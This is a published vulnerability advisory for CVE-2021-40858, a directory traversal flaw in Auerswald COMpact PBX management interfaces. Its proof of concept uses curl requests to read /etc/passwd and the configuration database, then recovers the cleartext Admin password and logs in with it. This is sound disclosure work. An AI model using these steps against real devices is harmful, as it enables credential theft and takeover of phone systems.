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Auerswald COMpact Arbitrary File Disclosure

RedTeam Pentesting discovered a vulnerability in the web-based management interface of the Auerswald COMpact 5500R PBX which allows users with the “sub-admin” privilege to access any files on the PBX’s file system.


  • Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
  • Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
  • Fixed Versions: 8.2B
  • Vulnerability Type: Arbitrary File Disclosure
  • Security Risk: medium
  • Vendor URL:
  • Vendor Status: fixed version released
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2021-40858
  • CVE URL:


“Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company.

Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication.”

(from the vendor’s homepage)

More Details

RedTeam Pentesting discovered that attackers with administrative access to the PBX’s web-based management interface (as a so-called “sub-admin”) can download arbitrary files from the PBX’s file system. This includes the usually not accessible configuration database which contains the password for the highly privileged “Admin” user in clear text.

Proof of Concept

The command-line HTTP client curl ( can be used to log into the management interface of the PBX with the username “sub-admin” and the password “verysecretpassword” as follows:

$ curl --anyauth --user sub-admin:verysecretpassword --include \

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/


The server returns a session ID in a cookie which is then used to check the access level:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;


In the PBX’s user management, the access level “Sub-Administrator” is used for user accounts who should be able to configure the PBX. There are also other, higher-level access privileges.

Users with the “sub-admin” privilege can configure music on hold (MOH, “Wartemusik”), and for example listen to the currently configured music. In order to do this, the browser requests the music files from the PBX.

The file “alarm1.wav” can be accessed with curl as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"

It was found that the PBX allows directory traversal with the string “../”, so the file “/etc/passwd” can be accessed as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \

HTTP/1.1 200 OK
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"


The same issue is present in the function for managing logos. A regular request for the file “logo1.jpg” is shown below:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"

In a similar fashion as before, the file “/etc/passwd” can be accessed:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \

HTTP/1.1 200 OK


For attackers, an interesting file is the SQLite ( database file “/data/db/pbx4.db”. It can be downloaded as follows:

$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'' \
 > pbx4.db

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  16253      0 --:--:-- --:--:-- --:--:-- 16305

This file contains the password for the highly privileged “Admin” user account:

$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.

sqlite> .tables
DbFileVersion  PbxMisc

sqlite> select * from PbxMisc;

The username and password can then be used to log into the web application:

$ curl --user 'Admin:S3kr1t!' --anyauth --include \

HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/


Checking the access level reveals the new privilege:

$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;


The user “Admin”, in contrast to regular administrative users (“sub-admin”), can access more functions and for example apply firmware updates.


Disable or restrict access to the web-based management if possible.


Upgrade to a firmware version which corrects this vulnerability.

Security Risk

Attackers who already have acquired administrative access as a so-called “sub-admin” can download a database file and access the password for the highly privileged “Admin” account. This account can use more functions and is allowed to apply firmware updates.

On the one hand, exploiting this vulnerability already requires administrative access. On the other hand, attackers can reach high-privileged access to the PBX and use functions not available to “sub-admin” users, like firmware updates. All in all, this vulnerability is therefore rated to have a medium risk potential.


  • 2021-08-26 Vulnerability identified
  • 2021-09-01 Customer approved disclosure to vendor
  • 2021-09-10 Vendor notified
  • 2021-09-10 CVE ID requested
  • 2021-09-10 CVE ID assigned
  • 2021-10-05 Vendor provides access to device with fixed firmware
  • 2021-10-11 Vendor provides fixed firmware
  • 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
  • 2021-12-06 Advisory published

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